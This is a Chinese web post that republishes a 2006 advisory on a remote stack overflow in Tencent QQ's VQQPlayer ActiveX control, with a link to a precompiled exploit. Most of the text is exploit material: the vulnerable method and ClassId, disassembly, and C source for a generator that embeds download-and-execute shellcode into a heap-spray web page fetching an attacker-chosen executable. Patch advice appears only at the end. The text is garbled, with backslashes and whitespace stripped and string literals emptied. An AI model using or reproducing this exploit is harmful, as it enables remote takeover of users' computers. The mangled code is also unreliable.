QQ远程溢出执行漏洞0DAY-飞外

国内著名安全组织幻影PH4NT0M近日发布了多个QQ远程溢出执行漏洞,通过此漏洞可在对方计算机上执行任意程序,以达到完全控制对方计算机的目的.我的朋友'天翼'已经帮大家编译好了QQ远程溢出执行漏洞点此http://www.meon.cn/QQ_vqqplayer_activex_0day_exp.rarQQ 是由Tencent公司开发的一个IM软件,在中国有着非常广泛的用户。DSWAvert在200612.31发现了QQ的几个0day漏洞,并通知了 QQ官方。QQ在2007.1.1进行了升级。事实上,在此之前,幻影旅团(ph4nt0m)的axis就已经发现了这些漏洞,出于一些原因未曾公布, 现在漏洞被公开了,所以将细节和可利用的POC公布如下:QQ的这几个漏洞,均是由于ActivexControl造成的,相关dll分别是:VQQPLAYER.OCX,VQQsdl.dll,V2MailActiveX.ocx其中有一个成功利用后,将可远程控制用户电脑,因为是activex的,所以只需要用户安装过QQ,甚至不需要其登录,就可以成功利用。另外几个漏洞分别是拒绝服务漏洞,不可执行,在此不再赘述。影响版本:TencentQQ2006正式版及之前所有版本。(未升级2007.1.1补丁)在VQQPLAYER.OCX中,由于程序员的粗心,存在一个栈溢出漏洞,在函数返回时,可以控制EIP。漏洞存在的Method是LaunchP2PShare,ClassId是{AC3A36A8-9BFF-410A-A33D-2279FFEB69D2}其原型是:[id(0x00000030)]VARIANT_BOOLLaunchP2PShare(BSTRszExeName,longnDuration);第一个参数没有进行长度检查,为超长字符串时,将造成一个栈溢出。幻影旅团将对此发布一个POC代码,请勿将此作为非法用途----------------------------------------------------------------------------------------*-----------------------------------------------------------------------*TencentQQVQQPlayer.ocx(allversion)0day*Author:axis*Date:2006-12-27*Mail:axis@ph4nt0m.org*Bugdiscoveredbyaxis@ph4nt0m.org*:*:*:*:*:Usage:filename[htmlfile]*:filename.exehttp://site.com/file.exelocalhtml.htm*在VQQPlayer.ocx中的LaunchP2PShare函数的第一个参数没有做边界检查,超长将在MFC42.dll覆盖到eip和seh*QQ是vc6编译的,所以可以用覆盖返回地址的方法,不过要求覆盖eip和以前的是可见字符,要求比较苛刻*而且覆盖返回地址的方法,和QQ安装路径有关,因为是这样覆盖起c:programfilesencentqqAAAAA....*覆盖seh方法比较通用,使用heapspray的方法,跳到0x0c0c0c0c中去执行shellcode,但是会关闭ie。04534E5F55PUSHEBP04534E608BECMOVEBP,ESP04534E6281EC60060000SUBESP,66004534E6853PUSHEBX04534E6933DBXOREBX,EBX04534E6B395D08CMPDWORDPTRSS:[EBP+8],EBX04534E6E56PUSHESI04534E6F57PUSHEDI04534E708BF1MOVESI,ECX04534E727511JNZSHORTVQQPLA~1.04534E8504534E74C7868C0400001 MOVDWORDPTRDS:[ESI+48C],1204534E7E33C0XOREAX,EAX04534E80E942010000JMPVQQPLA~1.04534FC704534E858B450CMOVEAX,DWORDPTRSS:[EBP+C]04534E883BC3CMPEAX,EBX04534E8A89450CMOVDWORDPTRSS:[EBP+C],EAX04534E8D7F07JGSHORTVQQPLA~1.04534E9604534E8FC7450C0A00000 MOVDWORDPTRSS:[EBP+C],0A04534E96BF04010000MOVEDI,10404534E9B8D85A0FDFFFFLEAEAX,DWORDPTRSS:[EBP-260]04534EA157PUSHEDI04534EA253PUSHEBX04534EA350PUSHEAX04534EA4E8437F0000CALL04534EA957PUSHEDI04534EAA8D85A4FEFFFFLEAEAX,DWORDPTRSS:[EBP-15C]04534EB053PUSHEBX04534EB150PUSHEAX04534EB2E8357F0000CALL04534EB783C418ADDESP,1804534EBA897DFCMOVDWORDPTRSS:[EBP-4],EDI04534EBDE86E780000CALL04534EC28B4004MOVEAX,DWORDPTRDS:[EAX+4]04534EC58B786CMOVEDI,DWORDPTRDS:[EAX+6C]04534EC88D85A4FEFFFFLEAEAX,DWORDPTRSS:[EBP-15C]04534ECE57PUSHEDI04534ECF50PUSHEAX04534ED0E8C3250000CALLVQQPLA~1.0453749804534ED5FF7508PUSHDWORDPTRSS:[EBP+8]04534ED88D85A4FEFFFFLEAEAX,DWORDPTRSS:[EBP-15C]04534EDE50PUSHEAX04534EDFE8027F0000CALL;溢出[ebp-15c]处是QQ安装目录,[ebp+8]处是传递的第一个参数shellcode使用addesp,4dchpopebpretn24h安全退出返回到上层函数mshtml.dll里
//DownloadShellcodebyswan@0x557bypass防火墙//经axis@ph4n0m加入了恢复栈平衡,不挂ieunsignedcharsc[]="x60x64xa1x30x00x00x00x8bx40x0cx8bx70x1cxadx8bx70""x08x81xecx00x04x00x00x8bxecx56x68x8ex4ex0execxe8""xffx00x00x00x89x45x04x56x68x98xfex8ax0exe8xf1x00""x00x00x89x45x08x56x68x25xb0xffxc2xe8xe3x00x00x00""x89x45x0cx56x68xefxcexe0x60xe8xd5x00x00x00x89x45""x10x56x68xc1x79xe5xb8xe8xc7x00x00x00x89x45x14x40""x80x38xc3x75xfax89x45x18xe9x08x01x00x00x5ex89x75""x24x8bx45x04x6ax01x59x8bx55x18x56xe8x8cx00x00x00""x50x68x36x1ax2fx70xe8x98x00x00x00x89x45x1cx8bxc5""x83xc0x50x89x45x20x68xffx00x00x00x50x8bx45x14x6a""x02x59x8bx55x18xe8x62x00x00x00x03x45x20xc7x00x5c""x7ex2ex65xc7x40x04x78x65x00x00xffx75x20x8bx45x0c""x6ax01x59x8bx55x18xe8x41x00x00x00x6ax07x58x03x45""x24x33xdbx53x53xffx75x20x50x53x8bx45x1cx6ax05x59""x8bx55x18xe8x24x00x00x00x6ax00xffx75x20x8bx45x08""x6ax02x59x8bx55x18xe8x11x00x00x00x81xc4x00x04x00""x00x61x81xc4xdcx04x00x00x5dxc2x24x00x41x5bx52x03""xe1x03xe1x03xe1x03xe1x83xecx04x5ax53x8bxdaxe2xf7""x52xffxe0x55x8bxecx8bx7dx08x8bx5dx0cx56x8bx73x3c""x8bx74x1ex78x03xf3x56x8bx76x20x03xf3x33xc9x49x41""xadx03xc3x56x33xf6x0fxbex10x3axf2x74x08xc1xcex0d""x03xf2x40xebxf1x3bxfex5ex75xe5x5ax8bxebx8bx5ax24""x03xddx66x8bx0cx4bx8bx5ax1cx03xddx8bx04x8bx03xc5""x5ex5dxc2x08x00xe8xf3xfexffxffx55x52x4cx4dx4fx4e""x00";char*header="""""""";char*trigger="""""""""";
//printunicodeshellcodevoidPrintPayLoad(char*lpBuff,intbuffsize)inti;for(i=0;i{if((i%16)==0)if(i!=0)printf("""");fprintf(fp,"%s",""+"");printf(""");fprintf(fp,"%s",""");printf("%%u%0.4x",((unsignedshort*)lpBuff)[i/2]);fprintf(fp,"%%u%0.4x",((unsignedshort*)lpBuff)[i/2]);
//把shellcode打印在header后面,然后用")"闭合printf("";");fprintf(fp,"%s","");");
printf("TencentQQVQQPlayer.ocx(allversion)0day!");printf("BugFoundbyaxis@ph4nt0m");printf("Date:2006-12-27");printf("Usage:%s[Localhtmlfile]",argv[0]);exit(1);url=argv[1];
printf("[-]Invalidurl.Muststartwith'http://','return;printf("[+]downloadurl:%s",url);if(argc =3)file=argv[2];printf("[+]exploitfile:%s",file);fp=fopen(file,"w");if(!fp)printf("[-]Openfileerror!");return;
----------------------------------------------------------------------------------------禁止ie执行activex厂商补丁:目前厂商已经在2007.1.1日发布了升级补丁,请用户自行升级QQ:http://www.qq.com腾讯已发布了针对此漏洞的补丁.请各位立即升级到最新版本.TencentQQ多个远程溢出漏洞byaxis(axis_at_ph4nt0m.org)http://www.ph4nt0m.org